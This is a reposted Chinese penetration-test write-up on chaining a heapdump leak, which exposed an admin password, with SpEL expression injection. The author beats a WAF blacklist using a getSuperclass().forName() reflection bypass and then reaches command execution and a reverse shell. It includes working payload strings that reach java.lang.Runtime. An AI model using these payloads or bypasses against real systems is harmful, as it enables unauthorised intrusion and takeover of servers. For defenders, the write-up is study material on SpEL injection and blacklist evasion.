文章总结: 文章记录了一次完整的渗透测试过程:从信息收集发现heapdump泄露获取管理员凭据,进入后台后通过分析接口参数expr发现SPEL表达式注入点,面对WAF黑名单限制,通过审计Java源码发现利用getSuperclass().forName()反射绕过实例化限制,最终构造复杂payload实现命令执行并getshell。核心亮点在于通过源码审计发现getSuperclass().forName()的绕过技巧,展现了从信息泄露到表达式注入再到WAF绕过的完整攻击链。
综合评分: 85
文章分类: 渗透测试,代码审计,实战经验,WEB安全,漏洞分析
记一次组合拳之SPEL
点击关注👉
点击关注👉
马哥网络安全
2026年2月9日 17:01
河南
原文于:https://forum.butian.net/share/4532原文作者:nn0nkeyk1n9
感觉整个渗透过程特别有意思,从扫描到 heapdump 泄露,到得敏感信息的泄露,再到观察请求包,思考参数表达的意思,为什么是这样的,从而发现隐藏的表达式注入点,到 getshell
记一次组合拳之SPEL(重在思路分享+payload)
前言
感觉整个渗透过程特别有意思,从扫描到 heapdump 泄露,到得敏感信息的泄露,再到观察请求包,思考参数表达的意思,为什么是这样的,从而发现隐藏的表达式注入点,到 getshell
笔记记录了全部详细的过程,包括思考的过程,思路的转变,看很多文章,就只有渗透的结果,感觉学不到东西,毕竟思考的过程才是能力,如果遇到对应的场景知道如何思考,找到漏洞点就轻轻松松了
真的就是一步一步记录的自己的思路
其中还有自己看源码发现的绕过方法,真的,java 的神奇之处就在于,如果你仔细看源码,会发现更多的巧思路
凭据获取
首先一波信息收集来到如下的站点
弱密码尝试一波
尝试了很多都不行,准备下播了
看了一眼前台的接口
发现前台几乎没有什么有作用的接口
也没有什么敏感信息,于是决定目录扫描一波
结果有 heapdump 泄露,这个可是一个好东西
Heap Dump(堆转储)是指在程序运行时,将应用程序的堆内存(Heap)中的所有对象及其状态完整地保存到一个文件中的过程或文件。
而在这个内存中会有很多很多的敏感信息
https://github.com/wyzxxz/heapdump_tool
0. (search data, may can't find some data, can't usefunctionnum=,len=).
1. (loadallobject, needwaitafewminutes).
> 0
[-] pleaseinputkeywordvaluetosearch, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtableinputq/quittoquit.
> password
[-] Startfindkeyword: password
>> password -> xxxxxxxxxxx
这应该就是管理员的密码吧,然后找了个用户的字典
最后管理员账号用户名是 manager
快速寻找可利用接口
最后进入到内部界面的时候接口就太多了
70 多个接口
常规思路就是在界面各种点,然后把接口都丢进去爆破一下
GET,POST 都去跑一遍
然后这时候只需要在一堆历史包中去找了
然后发现了一些可以获取数据的包,但是 id 都是随机算法的,不可以遍历
不过找了一个很有趣的接口
首先我们看这个接口,有什么思路呢?
接口名称就是查询票据的信息应该是,但是我们看传入的参数呢,当然原数据还需要传入其他的没有作用的参数,没有用
这个参数名称就很值得思考啊,expr,表达式啊,而且我们看参数的数值
expr=#ticket
常见表达式的基础语法
SpEL
- 以
#开头引用变量:#variable - 使用
T()调用类和静态方法:T(java.lang.Math).max(1,2) - 支持
new关键字创建对象:new java.lang.String('abc') - 支持访问 Map,既能用
.key又能用['key'] - 支持调用方法链和属性访问:
#obj.getName()、#obj.name - 支持三元运算符和 Elvis 运算符:
condition ? trueVal : falseVal,#var ?: 'default' - 支持集合和数组访问:
#list[0]、#map['key']
EL
- 表达式写在
${}或#{}里面 - 使用
eq、ne、lt、gt、le、ge代替==、!=、<、>、<=、>= - 支持
empty关键字判断空值:${empty list} - 函数调用通常用
fn:命名空间前缀:${fn:length(list)} - 不支持
new和直接类调用(没有T()) - 访问属性用点号
.,访问 Map 用['key']
OGNL
- 变量和属性直接用点号访问:
user.name - 支持方法调用并省略括号:
user.getName(括号可省略) - 支持集合访问用
[index]:list[0] - 逻辑表达式中可用
==、!=等标准操作符 - 支持
@class@method()形式调用静态方法:@java.lang.Math@max(1,2) - 支持链式调用:
user.address.street.toUpperCase() - 支持三元运算符
MVEL
- 语法类似 Java,支持方法调用和属性访问:
user.name、user.getName() - 支持三元运算符
- 支持集合访问用
[index]:list[0] - 支持静态方法调用用
@符号:@java.lang.Math@max(1,2) - 支持简写形式的变量赋值和表达式求值
- 支持 Lambda 表达式和闭包(高级特性)
这里可以看出来应该是 spel 表达式注入,我们尝试一下
全局绕过 payload+思维逻辑分析
表达式确定
于是当我开始尝试 spel 表达式的时候
???,我一开始以为是这个不是 spel 表达式,可能表达式错了,然后我去尝试其他表达式
el 表达式回显的是计算失败??
我当时以为是计算了,证明应该是 el 表达式
但是当我更深入一步利用的时候
我发现了,不管你输入啥,都没有作用,都是这个回显??
我猜测可能是因为数据类型有问题,然后又一直尝试,发现这样才可以
回显 9
证明计算成功了,然后我再次使用内置对象的时候
我真服了,又是这样,最后无限尝试中,摸索出来了,应该是 spel 表达式,因为 # 这样代变量也只能是 spel 表达式了吧
恶心的黑名单
为什么会报 400,那估计是有黑名单了
一般黑名单都会禁止直接实例化,我们测试一下
确定了,就是被 waf 了
但是 spel还支持 T 直接实例化对象
直接一个 T 是没有问题,但是
就是 T( 也被过滤了
想了好久,应该直接能够实例化的方法都不行了
别急,我还有办法
通过反射的方法来这样获取类,然后调用 getRuntime 方法
但是最后发现
全被 ban 了,哎,好不容易有发现,决定死磕到底
getClass 审计源码 绕过
首先去翻了一下,spel 还有什么实例化的方法,比如 new 大小写绕过
还是不行啊
但是我就是不甘心,然后第二天再次去干,思考了一下,实例化方法是可能没办法了,因为表达式只有这几种实例化的方法,我还是决定从反射入手,但是必须先获取一个类啊,我于是去看了 getClass 的源码,看看还有什么方法能够获取类的
看到这个想到是不是可以先获取类加载器,然后再去加载类,我靠决定去尝试一手
但是获取类加载器得要一个类啊,尝试了一会都没有成功
最后看到了一个方法
publicClass<?>[] getClasses() {
checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), false);
// Privileged so this implementation can look at DECLARED classes,
// something the caller might not have privilege to do. The code here
// is allowed to look at DECLARED classes because (1) it does not hand
// out anything other than public members and (2) public member access
// has already been ok'd by the SecurityManager.
return java.security.AccessController.doPrivileged(
new java.security.PrivilegedAction<Class<?>[]>() {
publicClass<?>[] run() {
List<Class<?>> list = newArrayList<>();
Class<?> currentClass = Class.this;
while (currentClass != null) {
Class<?>[] members = currentClass.getDeclaredClasses();
for (inti = 0; i < members.length; i++) {
if (Modifier.isPublic(members[i].getModifiers())) {
list.add(members[i]);
}
}
currentClass = currentClass.getSuperclass();
}
returnlist.toArray(newClass<?>[0]);
}
});
}
首先我们看这里是如何获取类的
currentClass = currentClass.getSuperclass()
于是我好奇的,是不是 getSuperclass 也可以啊
懂了,String 没有,这里我又弄了半天,于是看原代码,我发现了
Class<?> currentClass = Class.this;
所以我们需要一个 class 呗
谁懂这个感觉,我靠真获取到了兄弟,于是开始杀起来
获取 Runtime 类
本地这样是没有问题的,但是
估计是因为+拼接字符串是因为在 idea 的语法是正确的,不是 java 的语法
然后想着用
但是发现在表达式可能是语法问题
直接就报错了
最后修改如下
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
publicclassTest{
publicvoid run() throws InterruptedException {
String expr="''.class.getSuperclass().forName('java.lang.suntime'.replace('s', 'R'))";
SpelExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
Object calcResult = parser.parseExpression(expr).getValue(context);
System.out.println(calcResult);
}
publicstaticvoid main(String[] args) throws InterruptedException {
new Test().run();
}
}
成功得到了 Runtime
wc,太难了呜呜呜呜
实例化 Runtime
嘿嘿嘿就一样的手法了
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
publicclassTest{
publicvoid run() throws InterruptedException {
String expr="''.class.getSuperclass().forName('java.lang.suntime'.replace('s','R')).getMethod('getsuntime'.replace('s','R')).invoke(null)";
SpelExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
Object calcResult = parser.parseExpression(expr).getValue(context);
System.out.println(calcResult);
}
publicstaticvoid main(String[] args) throws InterruptedException {
new Test().run();
}
}
但是报错了,wc 了
但是 GPT 说不影响,不管了哥们,我要执行命令了
命令执行
网站 ping 一手
终于,终于,终于成功啦
最后就是个反弹 shell 了
总结
这次渗透的整个过程,真正的力量来源于思考本身。一次次的尝试,最后还是不断攻破困难,去看源码,去找绕过方法,累昏了,又一次复现的过程把这个思路牢固了一遍,举一反三
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:马哥网络安全 点击关注👉
点击关注👉《记一次组合拳之SPEL》